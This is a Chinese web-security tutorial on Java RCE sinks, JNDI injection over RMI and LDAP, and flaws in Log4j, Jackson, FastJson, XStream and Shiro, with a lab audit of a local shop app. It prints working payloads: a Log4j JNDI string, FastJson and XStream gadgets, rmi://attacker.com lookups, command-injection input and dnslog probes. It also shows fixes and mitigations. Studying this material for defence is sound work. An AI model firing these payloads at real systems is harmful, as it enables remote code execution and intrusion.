WEB攻防-Java安全JNDIRMILDAP五大不安全组件RCE执行不出网不回显

目录

1.  RCE执行-5大类函数调用

1.1  Runtime方式

1.2  Groovy执行命令

 1.3  脚本引擎代码注入 

 1.4  ProcessImpl

1.5  ProcessBuilder

2.  JNDI注入(RCE)-RMI&LDAP&高版本

2.1  RMI服务中的JNDI注入场景 

2.2  LDAP服务中的JNDI注入场景

攻击路径示例(以LdapTemplate为例)

 2.3  靶场案例

2.4  JDNI注入利用条件

3.  不安全组件(框架)

3.1  Log4j

3.2  Jackson

3.3  FastJson

3.4  XStream反序列化

 3.5  Shiro

4.  演示案例-白盒审计不安全组件漏洞 

4.1  案例部署

4.2  FastJson

4.3  Log4J

5.  不回显常见判断通用方法:


1.  RCE执行-5大类函数调用

RCE (Remote Code Execution), 远程代码执行漏洞,这里包含两类漏洞:

命令注入(Command Injection),在某种开发需求中,需要引入对系统本地命令的支持来完成特定功能,当未对输入做过滤时,则会产生命令注入
代码注入(Code Injection),在正常的java程序中注入一段java代码并执行,即用户输入的数据当作java代码进行执行。

这里主要是介绍java原生代码中常见的5大类函数调用命令/代码执行

1.1  Runtime方式

漏洞描述

远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

getRuntime()常用于执行本地命令,使用频率较高。

漏洞代码

// Runtime.getRuntime().exec(cmd)public static String vul(String cmd) {StringBuilder sb = new StringBuilder();try {Process proc = Runtime.getRuntime().exec(cmd);InputStream fis = proc.getInputStream();InputStreamReader isr = new InputStreamReader(fis);BufferedReader br = new BufferedReader(isr);...

安全代码-白名单方式

// 使用白名单替换黑名单。黑名单需要不断更新,而白名单只需要指定允许执行的命令,更容易维护。public static String safe(String cmd) {// 定义命令白名单Set<String> commands = new HashSet<\>();commands.add("ls");commands.add("pwd");// 检查用户提供的命令是否在白名单中String command = cmd.split("\\s+")[0];if (!commands.contains(command)) {return "命令不在白名单中";}...
}

1.2  Groovy执行命令

漏洞描述

* windows: "calc".execute()

* macos: "open -a Calculator".execute()

漏洞代码

// 不安全的使用Groovy调用命令import groovy.lang.GroovyShell;
@GetMapping("/groovy")
public void groovy(String cmd) {GroovyShell shell = new GroovyShell();shell.evaluate(cmd);
}

 直接调用calc.exe,execute()是Groovy中执行命令的方法

通过cmd执行calc(兼容性更好)

 1.3  脚本引擎代码注入 

漏洞描述

在Java 8之后ScriptEngineManager的eval函数就没有了

windows: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")};

Payload绕过: var a = mainOutput(); function mainOutput() { var x=java.lang.\/****\/Runtime.getRuntime().exec("calc");}

漏洞代码

// 通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行
// 远程恶意js: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
// ⚠️ 在Java 8之后移除了ScriptEngineManager的evalpublic void jsEngine(String url) throws Exception {ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);String payload = String.format("load('%s')", url);engine.eval(payload, bindings);
}

解释:在标准的浏览器环境或Node.js环境中,JavaScript本身并没有直接访问java.lang.Runtime类的方法,因为java.lang是Java的标准库包,与JavaScript无关。

然而,在Java的脚本引擎(如Nashorn)环境中,情况就不同了。在这种环境中,JavaScript代码可以访问和执行Java代码,包括Java标准库中的类和方法,前提是这些类和方法对脚本引擎是可见的,并且没有受到安全策略的限制

详细解释:

  1. Java脚本引擎环境
    • 当你在Java应用程序中嵌入JavaScript引擎(如Nashorn)时,JavaScript代码将在Java虚拟机(JVM)中执行。
    • 在这种环境中,JavaScript代码可以调用Java对象和方法,就像Java代码调用它们一样。
  2. 访问java.lang.Runtime
    • java.lang.Runtime类是Java标准库中的一个类,提供了与应用程序运行时环境交互的方法。
    • 在Java脚本引擎中,如果未明确禁止脚本访问java.lang包,JavaScript代码就可以通过java.lang.Runtime类来访问运行时环境。
  3. 调用getRuntime().exec()方法
    • getRuntime()方法是java.lang.Runtime类的一个静态方法,返回一个Runtime对象,该对象表示当前的运行时环境。
    • exec()方法是Runtime类的一个方法,用于执行指定的系统命令。
    • 因此,在Java脚本引擎中,JavaScript代码可以通过java.lang.Runtime.getRuntime().exec("command")来执行系统命令。

在远程服务器创建1.js,代码如下:

var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("cmd /c calc");}
  • 代码通过var a = mainOutput();调用了mainOutput()函数。
  • mainOutput()函数内部执行了java.lang.Runtime.getRuntime().exec("cmd /c calc"),启动了计算器应用程序。
  • 变量a被赋值为mainOutput()函数的返回值(即undefined),但关键的系统命令执行已经发生。

 1.4  ProcessImpl

漏洞描述

对于ProcessImpl类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的

该类非Public修饰,所以在不同包下只能通过反射的方式去调用执行。

漏洞代码

// ProcessImpl 是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类
// ProcessImpl 类是一个抽象类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的public static String vul(String cmd) throws Exception {// 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象Class clazz = Class.forName("java.lang.ProcessImpl");// 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);// 使用 method.setAccessible 方法将 start 方法设为可访问method.setAccessible(true);// 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}

解释: 

Constructor<?> constructor = Class.forName("java.lang.ProcessImpl").getDeclaredConstructor(String[].class,          // (1) 命令参数数组Map.class,               // (2) 环境变量映射String.class,            // (3) 工作目录路径ProcessHandle.class,     // (4) 进程句柄long.class               // (5) 本地进程ID);

参数详解:

  1. String[].class
    • 作用:要执行的命令及其参数列表
    • 示例new String[]{"ls", "-l", "/tmp"}
    • 注意:首个元素通常为可执行程序路径,后续元素为参数
  2. Map.class
    • 作用:子进程的环境变量映射表
    • 类型Map<String, String>
    • 示例Map.of("PATH", "/usr/bin")
    • 注意:若传入null,将继承父进程的环境变量
  3. String.class
    • 作用:子进程的工作目录绝对路径
    • 示例"/var/www"
    • 注意:若传入null,将继承父进程的工作目录
  4. ProcessHandle.class
    • 作用:关联的进程句柄对象
    • 用途:用于获取进程PID、父进程信息、进程状态等
    • 示例ProcessHandle.current()获取当前进程句柄
  5. long.class
    • 作用:本地进程ID(Native PID)
    • 来源:由JVM底层创建进程时分配
    • 注意:通常传入-1L,表示由系统自动分配

 

1.5  ProcessBuilder

漏洞描述

Process类是一个抽象类(所有的方法均是抽象的),封装了一个进程(即一个执行程序)。

Process 类提供了执行从进程输入、执行输出到进程、等待进程完成、检查进程的退出状态以及销毁(杀掉)进程的方法。

ProcessBuilder.start() 和 Runtime.exec 方法创建一个本机进程,并返回 Process 子类的一个实例,该实例可用来控制进程并获取相关信息。

创建的子进程没有自己的终端或控制台。它的所有标准 io(即 stdin,stdout,stderr)操作都将通过三个流 (getOutputStream(),getInputStream(),getErrorStream()) 重定向到父进程,通过流的形式进行读取。

简单点说就是:ProcessBuilderRuntime.exec()方法用于创建子进程,其参数处理机制存在安全隐患。当未经验证的外部输入直接拼接到命令字符串时,攻击者可注入恶意参数改变执行逻辑。

漏洞代码 

// new ProcessBuilder(command).start()
// 功能是利用ProcessBuilder执行ls命令查看文件,但攻击者通过拼接; & |等连接符来执行自己的命令。public static String processbuilderVul(String filepath) throws IOException {String[] cmdList = {"sh", "-c", "ls -l " + filepath};ProcessBuilder pb = new ProcessBuilder(cmdList);pb.redirectErrorStream(true);Process process = pb.start();// 获取命令的输出InputStream inputStream = process.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));String line;StringBuilder output = new StringBuilder();while ((line = reader.readLine()) != null) {output.append(line).append("\n");}return output.toString();
}

 由于这是写的Linux的命令,所以换另一个平台javasec-0.0.1-SNAPSHOT.jar测试

漏洞代码

 public String ProcessBuilderExec(String ip, String safe, Model model) {if (safe != null) {if (Security.checkOs(ip)) {model.addAttribute("results", "检测到非法命令注入");return "basevul/rce/processbuilder";}}
//        String[] cmdList = {"sh", "-c", "ping -c 1 " + ip};String[] cmdList = {"cmd", "/c", "ping -n 1 " + ip};StringBuilder sb = new StringBuilder();String line;String results;

代码类似,这里通过safe开关来打开过滤,过滤代码:

    public static boolean checkOs(String content) {String black = "|,&,&&,;,||";String[] black_list = black.split(",");for (String s : black_list) {if (content.contains(s)) {return true;}}return false;}

 未过滤时ip输入127.0.0.1 | calc

打开过滤

2.  JNDI注入(RCE)-RMI&LDAP&高版本

JNDI(Java Naming and Directory Interface)是Java平台提供的命名与目录服务接口,它的核心作用是通过统一的API访问各种命名/目录服务(如LDAP、DNS、RMI等)。其设计初衷是为分布式系统提供统一的资源定位服务。通过InitialContext.lookup()方法,开发者可以透明地访问各种命名/目录服务。

简单来说,JNDI就像是一个“通讯录”,Java程序可以通过它查找和获取远程服务资源。 

RMI:是Java原生支持的远程调用方法协议,允许一个Java虚拟机(JVM)中的对象调用另一个JVM中对象的方法,适用于分布式系统中组件间的通信。

服务端:注册远程对象

// 定义远程接口
public interface IRemoteService extends Remote {String sayHello(String name) throws RemoteException;
}// 实现远程对象
public class RemoteServiceImpl extends UnicastRemoteObject implements IRemoteService {public RemoteServiceImpl() throws RemoteException {}@Overridepublic String sayHello(String name) {return "Hello, " + name;}
}// 注册到RMI Registry
public class RMIServer {public static void main(String[] args) throws Exception {IRemoteService service = new RemoteServiceImpl();Registry registry = LocateRegistry.createRegistry(1099);registry.bind("RemoteService", service);System.out.println("RMI服务已启动");}
}

客户端:通过JNDI查找并调用

public class RMIClient {public static void main(String[] args) throws Exception {Hashtable<String, String> env = new Hashtable<>();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL, "rmi://localhost:1099");Context ctx = new InitialContext(env);IRemoteService service = (IRemoteService) ctx.lookup("RemoteService");System.out.println(service.sayHello("World"));  // 输出: Hello, World}
}

RMI会优先调用本地存在的方法,没有才会调用远程提供的方法


LDAP:轻量级目录访问协议 ,常用于用户认证、组织信息查询等。

关键字英文全称含义
dcDomain Component域名的部分,其格式是将完整的域名分成几部分,如域名为example.com变成dc=example,dc=com(一条记录的所属位置)
uidUser Id用户ID songtao.xu(一条记录的ID)
ouOrganization Unit组织单位,组织单位可以包含其他各种对象(包括其他组织单元),如“oa组”(一条记录的所属组织)
cnCommon Name公共名称,如“Thomas Johansson”(一条记录的名称)
snSurname姓,如“许”
dnDistinguished Name“uid=songtao.xu,ou=oa组,dc=example,dc=com”,一条记录的位置(唯一)
rdnRelative dn相对辨别名,类似于文件系统中的相对路径,它是与目录树结构无关的部分,如“uid=tom”或“cn= Thomas Johansson”

风险本质上是攻击者通过构造恶意JNDI引用,诱导应用加载远程类库并执行恶意代码。这种攻击往往结合反序列化漏洞、日志注入等场景,形成攻击链。

2.1  RMI服务中的JNDI注入场景 

类名方法调用场景风险描述
org.springframework.transaction.jta.JtaTransactionManagerreadObject()反序列化未过滤的JNDI名称可导致注入
com.sun.rowset.JdbcRowSetImplexecute()数据库操作dataSourceName参数未校验
javax.management.remote.rmi.RMIConnectorconnect()JMX连接RMI地址参数未做白名单控制
org.hibernate.jmx.StatisticsServicesetSessionFactoryJNDIName()JMX配置直接设置未验证的JNDI名称

攻击路径示例(以JdbcRowSetImpl为例) 

注入点

String payload = "rmi://attacker.com/Exploit";
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(payload); // 未校验的输入

 触发点

rs.execute(); // 内部调用lookup()加载RMI服务

2.2  LDAP服务中的JNDI注入场景

类名方法调用场景风险描述
javax.naming.directory.InitialDirContextlookup()LDAP查询未过滤的查询参数
org.springframework.ldap.core.LdapTemplatelookup()LDAP操作动态构建的查询语句

攻击路径示例(以LdapTemplate为例)

注入点

String baseDn = "${userInput}"; // 用户可控输入
LdapTemplate template = new LdapTemplate(contextSource);
template.lookup(baseDn, new MyAttributesMapper());

 触发点

template.lookup(...); // 内部调用InitialDirContext.lookup()

 漏洞代码

 2.3  靶场案例

// lookup是通过名字检索执行的对象,当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。public void vul(String content) {try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI错误消息");}
}

使用工具生成payload

 jndi本身不是漏洞,是java用来远程加载文件执行从而造成一个RCE的结果,一般是在漏洞利用的时候会使用这个jndi注入达到一个RCE目的。

 安全代码 - 正则拦截

public String safe(String content) {// 使用正则表达式限制参数if (content.matches("^[\\w\\.-]+$")) {try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI错误消息");}return HtmlUtils.htmlEscape(content);} else {return "JNDI 正则拦截";}
}

 安全代码 - 白名单拦截 

public String safe2(String content) {List<String> whiteList = Arrays.asList("java:comp/env/jdbc/mydb", "java:comp/env/mail/mymail");if (whiteList.contains(content)) {try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI错误消息");}return HtmlUtils.htmlEscape(content);} else {return "JNDI 白名单拦截";}
}

更新jdk版本,能起到一定的防御作用,但不能完全有效,最终还是在于编写安全代码
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
  

2.4  JDNI注入利用条件

 如果对方使用的更高版本去部署,rmi和ldap都可能失败,及时漏洞存在,可能会接受到请求class文件,但不会成功执行

Tomcat 8+ or SpringBoot 1.2.x+部署也会存在注入

高版本绕过可参考:

8u191后的JNDI注入利用 - Atomovo - 博客园

如何绕过高版本JDK的限制进行JNDI注入利用 – KINGX

3.  不安全组件(框架)

3.1  Log4j

Apache的一个开源项目,是一个基于Java的日志记录框架。

Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。

这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容的ldap协议内容(如:${jndi:ldap://localhost:9999/Test}),

该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

历史漏洞:https://avd.aliyun.com/search?q=Log4j

本地javasec案例

漏洞代码:

// log4j-core < 2.15.0-rc1public String vul(String content) {logger.error(content);return "Log4j2 RCE";
}

 工具生成payload

实际情况弹出计算机calc操作是在服务端弹出的,我们没有回显,所以测试的时候用dnslog做带外就知道是否可以出网了

 

修复方案:

方案一、升级版本
    升级Apache Log4j所有相关应用到>= Log4j-2.15.0官方稳定版本
方案二、临时缓解(选其一)

    ● 版本>=2.10.0, 修改jvm参数,添加-Dlog4j2.formatMsgNoLookups=true
    ● 版本>=2.10.0, 代码中配置System.setProperty("log4j2.formatMsgNoLookups", "true"),重新打包jar包
    ● 版本>=2.10.0, 修改配置文件log4j2.component.properties :log4j2.formatMsgNoLookups=True
    注意:临时缓解对Log4j <= 2.9版本是无效的,因为在2.10版本之前并没有引入这些变量来控制 lookup()。
    

3.2  Jackson

主要负责处理Json的序列化和反序列化。

Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,

攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。

CVE-2020-xxxx:Jackson-databind RCE两则

影响范围:

  • jackson-databind before 2.9.10.4
  • jackson-databind before 2.8.11.6
  • jackson-databind before 2.7.9.7

利用条件:

  • 开启enableDefaultTyping()
  • 使用了com.nqadmin.rowset.JdbcRowSetImpl第三方依赖

漏洞概述:

com.nqadmin.rowset.JdbcRowSetImpl类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成RCE。

3.3  FastJson

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

3.4  XStream反序列化

XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。

XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令。

历史上存在多个反序列化漏洞。

<!--payload-->
<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string><!--执行的命令--></command></target><action>start</action></handler></dynamic-proxy>
</sorted-set>

 3.5  Shiro

Java安全框架,能够用于身份验证、授权、加密和会话管理。

强特征:数据包有标识字样: Remember-me

在登录时发现发送失败,返回空指针报错问题

 检查发现是前端和后端的参数名错了,导致remember值为null造成的,把后端shoir.java的大写M改为小写重新打包就行

 获取请求url

使用工具利用

4.  演示案例-白盒审计不安全组件漏洞 

4.1  案例部署

1.执行sql文件

 

2.以项目打开pom.xml文件的方式在idea导入项目

3. 重载一下maven,他会根据pom.xml去重新下载包3.

 4.修改数据库连接用户和密码然后启动项目

 http://127.0.0.1:8088/tmall/

4.2  FastJson

在pom文件中可以看到引入了FastJson1.2.58的包

关键函数:JSON.parseObject()

 项目中搜索该函数

可以看到在添加产品中使用了 JSON.parseObject(),后端接口admin/product下产品属性参数propertyJson是通过FastJson解析的

登录后台,账号/密码:admin/123456

添加一个产品并抓包 

 

dnslog带外测试:使用上面javasec的payload发现是被修复过的,报错说不支持autoType,1.2.25版本以上默认关闭autotype,不允许反序列化时动态加载类{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://pxnskqelcn.yutu.eu.org","autoCommit":true} 

利用 java.net.Inet [4 | 6] 地址

版本范围:1.2.24-1.2.83

{"@type":"java.net.Inet4Address","val":"vlcffimauq.lfcx.eu.org"}

想继续利用没有成功,也没找到1.2.58绕过的payload

网上找到一些dnslog的payload,没全测部分可用

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
  {{"@type":"java.net.URL","val":"dnslog"}:0
 

4.3  Log4J

重点关注 Logger.xxx,且引用了变量

TRACElogger.trace()用于记录最详细的日志信息,通常用于调试非常细粒度的程序行为。
DEBUGlogger.debug()用于记录调试信息,帮助开发者在开发和测试阶段排查问题。
INFOlogger.info()用于记录一般性的运行信息,表示程序的正常运行状态。
WARNlogger.warn()用于记录警告信息,表示可能存在的问题,但程序仍能继续运行。
ERRORlogger.error()用于记录错误信息,表示程序出现了问题,但不一定导致程序崩溃。
FATALlogger.fatal()用于记录严重错误信息,表示程序遇到了无法恢复的错误,可能会导致程序崩溃。

 全局搜索

可以看到后台接口admin/uploadAdminHeadImage,文字上看是头像上传,上传文件抓包把文件名改为payload

 调出计算器

5.  不回显常见判断通用方法:

1、直接将命令执行结果写入到静态资源文件里,如html、js等,然后访问。存在这个文件不就说明命令执行能够执行了。

2、通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/75309.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Hadoop入门】Hadoop生态之Sqoop简介

1 什么是Sqoop&#xff1f; 在企业的数据架构中&#xff0c;关系型数据库与Hadoop生态系统之间的数据流动是常见且关键的需求。Apache Sqoop&#xff08;SQL-to-Hadoop&#xff09;正是为解决这一问题而生的高效工具&#xff0c;它专门用于在结构化数据存储&#xff08;如RDBMS…

如何自动检测使用的组件库有更新

&#x1f916; 作者简介&#xff1a;水煮白菜王&#xff0c;一位前端劝退师 &#x1f47b; &#x1f440; 文章专栏&#xff1a; 前端专栏 &#xff0c;记录一下平时在博客写作中&#xff0c;总结出的一些开发技巧和知识归纳总结✍。 感谢支持&#x1f495;&#x1f495;&#…

Go语言编写一个进销存Web软件的demo

Go语言编写一个进销存Web软件的demo 用户现在要求用。之前他们已经讨论了用Django实现的方案&#xff0c;现在突然切换到Go&#xff0c;可能有几个原因。首先&#xff0c;用户可能对Go语言感兴趣&#xff0c;或者他们公司的技术栈转向了Go。其次&#xff0c;用户可能希望比较不…

【前缀和】矩阵区域和(medium)

矩阵区域和&#xff08;medium&#xff09; 题⽬描述&#xff1a;解法&#xff1a;代码Java 算法代码&#xff1a;C 算法代码&#xff1a; 题⽬描述&#xff1a; 题⽬链接&#xff1a;1314. 矩阵区域和 给你⼀个 m x n 的矩阵 mat 和⼀个整数 k &#xff0c;请你返回⼀个矩阵 …

Java学习手册:Java发展历史与版本特性

Java作为全球最流行的编程语言之一&#xff0c;其发展历程不仅见证了技术的演进&#xff0c;也反映了软件开发模式的变革。从1995年的首次发布到如今的持续更新&#xff0c;Java始终保持着强大的生命力和广泛的影响力。本文将简要回顾Java的发展历程&#xff0c;并重点介绍其关…

winserver2022备份

安装备份&#xff0c;然后等待安装完成即可 然后可以在这里看到安装好的win server2022备份 一直下一步然后到这里 不要用本地文件夹备份 备份到远程服务器&#xff0c;远程服务器路径 然后确定备份即可 如何恢复呢&#xff1f; 点击右侧的恢复就可以了 打开任务计划程序 这…

Unity 设置弹窗Tips位置

根据鼠标位于屏幕的区域&#xff0c;设置弹窗锚点以及位置 public static void TipsPos(Transform tf) {//获取ui相机var uiCamera GetUICamera();var popup tf.GetComponent<RectTransform>();//获取鼠标位置Vector2 mousePos Input.mousePosition;float screenWidt…

【C++基础-关键字】:extern

深入理解 C++ 关键字 extern 在 C++ 编程中,extern 关键字扮演着重要角色,主要用于声明全局变量或函数,使其在多个源文件间共享。本文将详细探讨 extern 的用法及其在实际开发中的应用。 1. 什么是 extern? extern 关键字用于声明一个变量或函数的引用,表示该变量或函数…

我为女儿开发了一个游戏网站

大家好&#xff0c;我是星河。 自从协助妻子为女儿开发了算数射击游戏后&#xff0c;星河就一直有个想法&#xff1a;为女儿打造一个专属的学习游戏网站。之前的射击游戏虽然有趣&#xff0c;但缺乏难度分级&#xff0c;无法根据女儿的学习进度灵活调整。而且&#xff0c;仅仅…

基于 Python 卷积神经网络的新闻文本分类系统,附源码

大家好&#xff0c;我是徐师兄&#xff0c;一个有着7年大厂经验的程序员&#xff0c;也是一名热衷于分享干货的技术爱好者。平时我在 CSDN、掘金、华为云、阿里云和 InfoQ 等平台分享我的心得体会。今天我来跟大家聊聊一个用 Python 和 Django 打造的人脸识别考勤系统&#xff…

ngx_cycle_modules

Ubuntu 下 nginx-1.24.0 源码分析 - ngx_cycle_modules-CSDN博客 定义在 src/core/ngx_module.c ngx_int_t ngx_cycle_modules(ngx_cycle_t *cycle) {/** create a list of modules to be used for this cycle,* copy static modules to it*/cycle->modules ngx_pcalloc(…

AI 代码生成工具如何突破 Java 单元测试效能天花板?

一、传统单元测试的四大痛点 时间黑洞&#xff1a;根据 JetBrains 调研&#xff0c;Java 开发者平均花费 35% 时间编写测试代码覆盖盲区&#xff1a;手工测试覆盖率普遍低于 60%&#xff08;Jacoco 全球统计数据&#xff09;维护困境&#xff1a;业务代码变更导致 38% 的测试用…

【保姆级图解】插入排序 算法详解:直接插入排序、希尔排序

总体引入 在计算机科学的算法领域中&#xff0c;排序是一项基础且重要的操作。它旨在将一组无序的数据元素重新排列为有序序列&#xff0c;以满足特定的顺序要求&#xff0c;如升序或降序。常见的排序算法可分为不同类别&#xff0c;像插入排序&#xff0c;包含直接插入排序和…

为什么ChatGPT选择SSE而非WebSocket?

为什么ChatGPT选择SSE而非WebSocket&#xff1f; 一、ChatGPT回答问题的技术逻辑 ChatGPT的响应生成基于Transformer架构和自注意力机制&#xff0c;其核心是通过概率预测逐词生成文本。当用户输入问题后&#xff0c;模型会先解析上下文&#xff0c;再通过预训练的庞大语料库…

Android 手机指纹传感器无法工作,如何恢复数据?

天津鸿萌科贸发展有限公司从事数据安全服务二十余年&#xff0c;致力于为各领域客户提供专业的数据恢复、数据清除、数据备份、数据取证、数据迁移解决方案&#xff0c;并针对企业面临的数据安全风险&#xff0c;提供专业的相关数据安全培训。 天津鸿萌科贸发展有限公司是众多国…

DeepSeek 在金融领域的应用解决方案

DeepSeek 在金融领域的应用解决方案 一、背景 随着人工智能技术的快速发展&#xff0c;DeepSeek 作为一款国产大模型&#xff0c;凭借其强大的语义理解、逻辑推理和多模态处理能力&#xff0c;在金融行业迅速崭露头角。金融行业作为经济的核心&#xff0c;面临着激烈的市场竞…

织光五载 焕新启航

成都时尚产业协会5周年 以创新为笔&#xff0c;续写国际时尚之都的璀璨篇章 【一场跨越时空的时尚对话】 五年前&#xff0c;一颗名为"成都时尚产业协会"的种子在蓉城落地生根&#xff1b;五年后&#xff0c;这棵新芽已成长为枝繁叶茂的生态之树&#xff0c;用交织…

scala集合

一、数组&#xff08;Array&#xff09; 1.数组转换 不可变转可变&#xff1a;arr1.toBuffer&#xff0c;arr1本身没有变化 可变转不可变&#xff1a;arr2.toArray&#xff0c;arr2本身没有变化 2.多维数组 创建&#xff1a;val arr Array.ofDim[Int](3, 4)&#xff08;3 …

常用 Excel VBA 技巧,简单好学易上手

在日常办公中&#xff0c;我们常常会遇到各种繁琐的数据处理任务&#xff0c;而 Excel VBA&#xff08;Visual Basic for Applications&#xff09;作为一款强大的自动化工具&#xff0c;能够帮助我们轻松应对这些挑战。本文将介绍一些常用且简单好学的 Excel VBA 技巧&#xf…

Java 基础 - 反射(1)

文章目录 引入类加载过程1. 通过 new 创建对象2. 通过反射创建对象2.1 触发加载但不初始化2.2 按需触发初始化2.3 选择性初始化控制 核心用法示例1. 通过无参构造函数创建实例对象2. 通过有参构造函数创建实例对象3. 反射通过私有构造函数创建对象&#xff0c; 破坏单例模式4. …